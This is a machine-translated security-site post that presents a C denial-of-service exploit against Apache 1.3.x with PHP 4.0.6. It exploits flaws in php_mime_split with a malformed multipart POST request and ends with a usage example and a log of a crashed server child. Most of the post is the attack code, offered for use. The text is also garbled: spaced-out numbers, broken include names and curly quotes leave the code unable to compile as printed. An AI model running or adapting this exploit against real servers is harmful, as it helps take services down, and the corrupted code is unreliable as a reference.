Make Apache/1.3. x + php_4. 0. 6 Server denial of service-vulnerability warning-the black bar safety net

PHP supports multipart/form-data POST request, referred to as POST file upload. But php_mime_split a function of the presence of a plurality of vulnerabilities, the exploitation of these vulnerabilities may make on the target system of the Apache denial of service. The code is as follows:

#include <stdio. h>
#include <string. h>
#include <stdlib. h>
#include <errno. h>
#include <string. h>
#include <netdb. h>
#include <sys/types. h>
#include <netinet/in. h>
#include <sys/socket. h>
#include <sys/wait. h>
#include <unistd. h>
#include <fcntl. h>

#define MAX 1 0 0 0
#define PORT 8 0

char *str_replace(char *rep, char *orig, char *string)
{
int len=strlen(orig);
char buf[MAX]=“”;
char *pt=strstr(string,orig);

strncpy(buf,string, pt-string );
strcat(buf,rep);
strcat(buf,pt+strlen(orig));
strcpy(string,buf);
return string;
}

int main(int argc,char *argv[MAX])
{
int sockfd;
int numbytes;
int port;
char *ptr;

char POST_REQUEST[MAX] =
“POST ##file HTTP/1.0\n”
“Referer: http://host/xxxxxx/exp.php?hi_lames=haha\n”
“Connection: Keep-Alive\nContent-type: multipart/for”
“m-data; boundary=---------------------------1 3 5 4 0 8 8”
“1 0 6 1 2 8 2 7 8 8 6 8 0 1 6 9 7 1 5 0 0 8 1\nContent-Length: 5 6 7\n\n—”
“--------------------------1 3 5 4 0 8 8 1 0 6 1 2 8 2 7 8 8 6 8 0 1 6 9 7 1”
“5 0 0 8 1\nContent-Disposition: form-data; name="\x8"”;

struct hostent *he;
struct sockaddr_in their_addr;

if(argc!= 4)
{
fprintf(stderr,“usage:%s <hostname> <port> <php_file>\n”,argv[0]);
exit(1);
}

port=atoi(argv[2]);
ptr=str_replace(argv[3],“##file”,POST_REQUEST);
//ptr=POST_REQUEST;

if((he=gethostbyname(argv[1]))==NULL)
{
perror(“gethostbyname”);
exit(1);
}

if( (sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1) {
perror(“socket”); exit(1);
}

their_addr. sin_family=AF_INET;
their_addr. sin_port=htons(port);
their_addr. sin_addr=((struct in_addr)he->h_addr);
bzero(&(their_addr. sin_zero),8);

if( connect(sockfd,(struct sockaddr*)&their_addr,\
sizeof(struct sockaddr))==-1)
{
perror(“connect”);
exit(1);
}

if( send(sockfd,ptr,strlen(POST_REQUEST),0) ==-1)
{
perror(“send”);
exit(0);
}

close(sockfd);

return 0;
}

Compile finished:

$ ./ apache_php host 8 0 hi.php
$ cat /www/logs/error_log
[Sun Mar 3 0 2:5 0:3 6 2 0 0 2] [notice] child pid 2 6 8 5 6 exit signal Segmentation fault (1 of 1)
$

Author: NetDemon
[email protected]
http://www.20cn.net/

|